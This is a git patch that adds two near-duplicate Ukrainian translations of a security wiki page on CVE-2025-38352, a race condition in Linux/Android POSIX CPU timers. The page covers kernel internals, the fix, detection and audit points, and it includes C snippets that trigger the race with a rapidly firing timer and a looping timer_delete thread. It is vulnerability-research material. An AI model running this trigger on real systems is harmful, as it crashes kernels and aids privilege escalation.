From c686ec6085b8f3e832f098a8c36e302b385dda70 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:43:22 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu --- src/SUMMARY.md | 2 + .../posix-cpu-timers-toctou-cve-2025-38352.md | 196 ++++++++++++++++++ .../posix-cpu-timers-toctou-cve-2025-38352.md | 195 +++++++++++++++++ 3 files changed, 393 insertions(+) create mode 100644 src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md create mode 100644 src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9200053c6..3e41d9a7b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -937,3 +937,5 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) + + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) \ No newline at end of file diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..dcc2744a9 --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,196 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +На цій сторінці задокументовано TOCTOU race у POSIX CPU timers для Linux/Android, що може пошкодити стан таймера та спричинити падіння ядра, а за певних обставин — бути спрямоване на ескалацію привілеїв. + +- Затронутий компонент: kernel/time/posix-cpu-timers.c +- Примітив: гонка expiry vs deletion під час виходу task +- Залежить від конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Короткий огляд внутрішньої роботи (важливий для експлуатації) +- Три CPU-годинники керують обліком таймерів через cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- При створенні таймера він зв'язується з task/pid і ініціалізуються вузли timerqueue: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Активування вставляє у per-base timerqueue і може оновити кеш next-expiry: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Fast path уникає витратної обробки, якщо кешовані терміни спливу не вказують на можливе спрацьовування: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +Expiration збирає прострочені таймери, позначає їх як спрацьовані, переміщує їх із черги; фактична доставка відкладена: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Два режими обробки спрацьовування + +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відтерміновується через task_work у цільовому task +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в IRQ context +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +У IRQ-context path firing list обробляється поза sighand. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU між спрацьовуванням у контексті IRQ та одночасним видаленням під час виходу задачі +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Це запобігає входу в handle_posix_cpu_timers() для задач, що виходять, усуваючи вікно, коли posix_cpu_timer_del() може пропустити it.cpu.firing і змагатися з обробкою закінчення. + +Impact +- Пошкодження пам'яті ядра структур таймерів під час одночасного завершення/видалення може призвести до негайних аварій (DoS) і є потужним примітивом для підвищення привілеїв через можливості довільної маніпуляції станом ядра. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. + +Runtime strategy +- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock): +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arm with a very short initial expiration and small interval to maximize IRQ-path entries: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- З суміжного потоку одночасно видаліть той самий таймер, поки цільовий потік завершується: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Підсилювачі гонки: висока частота тиків планувальника, завантаження CPU, цикли повторного виходу/повторного створення потоків. Аварія зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий пошук/блокування task одразу після unlock_task_sighand(). + +Виявлення та підвищення стійкості +- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible. +- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається разом з failed cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями в timerqueue під час виходу задачі. + +Ключові місця для аудиту (для рецензентів) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): встановлює ctmr->firing і переміщує вузли +- handle_posix_cpu_timers(): скидає sighand перед циклом спрацьовування +- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення спрацьовування "в польоті"; ця перевірка пропускається, коли пошук/блокування task не вдається під час exit/reap + +Примітки для дослідження exploitation +- Розкриту поведінку можна надійно використовувати як примітив аварії ядра; перетворення її на privilege escalation зазвичай потребує додаткового контрольованого перекриття (object lifetime або write-what-where вплив), що виходить за рамки цього резюме. Ставтеся до будь-якого PoC як до потенційно нестабільного й запускайте лише в емуляторах/VMs. + +## Посилання +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..33abea68c --- /dev/null +++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,195 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Ця сторінка документує TOCTOU race у Linux/Android POSIX CPU timers, яка може пошкодити стан таймера та призвести до падіння ядра, а за певних обставин її можна спрямувати на privilege escalation. + +- Постраждалий компонент: kernel/time/posix-cpu-timers.c +- Примітив: expiry vs deletion race під час task exit +- Чутливе до конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Короткий огляд внутрішньої роботи (relevant for exploitation) +- Три CPU-годинники ведуть облік для таймерів через cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- При створенні таймера він прив'язується до task/pid і ініціалізуються timerqueue nodes: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +Активування вставляє в чергу таймерів для кожної бази та може оновити кеш наступного спливу: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Швидкий шлях уникає витратної обробки, якщо лише кешовані відмітки про закінчення не вказують на можливе спрацювання: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Expiration збирає прострочені таймери, позначає їх як такі, що спрацьовують, переміщує їх з черги; фактична доставка відкладена: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Два режими обробки спрацьовування +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відтерміновується через task_work у цільовому task +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в контексті IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +У IRQ-context path, firing list обробляється поза sighand. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit +Передумови +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- Цільова задача завершується, але ще не повністю видалена +- Інший потік одночасно виконує posix_cpu_timer_del() для того самого таймера + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Це запобігає входу в handle_posix_cpu_timers() для потоків, що виходять, усуваючи вікно, в якому posix_cpu_timer_del() міг пропустити it.cpu.firing і змагатися з обробкою закінчення. + +Impact +- Корупція пам'яті ядра в структурах таймерів під час одночасного expiry/deletion може спричинити миттєві краші (DoS) і є потужним примітивом для privilege escalation через можливості довільної маніпуляції станом ядра. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. + +Runtime strategy +- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock): +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arm with a very short initial expiration and small interval to maximize IRQ-path entries: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- З сестринського потоку, одночасно видалити той самий таймер під час виходу цільового потоку: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Race amplifiers: висока частота тікання планувальника, завантаження CPU, повторювані цикли виходу/повторного створення потоків. Краш зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий lookup/locking задачі безпосередньо після unlock_task_sighand(). + +Detection and hardening +- Mitigation: застосувати захист exit_state; за можливості віддавати перевагу увімкненню CONFIG_POSIX_CPU_TIMERS_TASK_WORK. +- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається одночасно з невдалим cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями timerqueue під час виходу задачі. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): встановлює ctmr->firing і переміщує вузли +- handle_posix_cpu_timers(): скидає sighand перед циклом спрацьовування +- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення одночасного expiry; ця перевірка пропускається, коли lookup/lock задачі не вдається під час exit/reap + +Notes for exploitation research +- The disclosed behavior is a reliable kernel crash primitive; перетворення цього на privilege escalation зазвичай потребує додаткового контрольованого перекриття (object lifetime або write-what-where вплив), що виходить за межі цього резюме. Розглядайте будь‑який PoC як потенційно дестабілізуючий і запускайте лише в емуляторах/VMs. + +## Посилання +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}}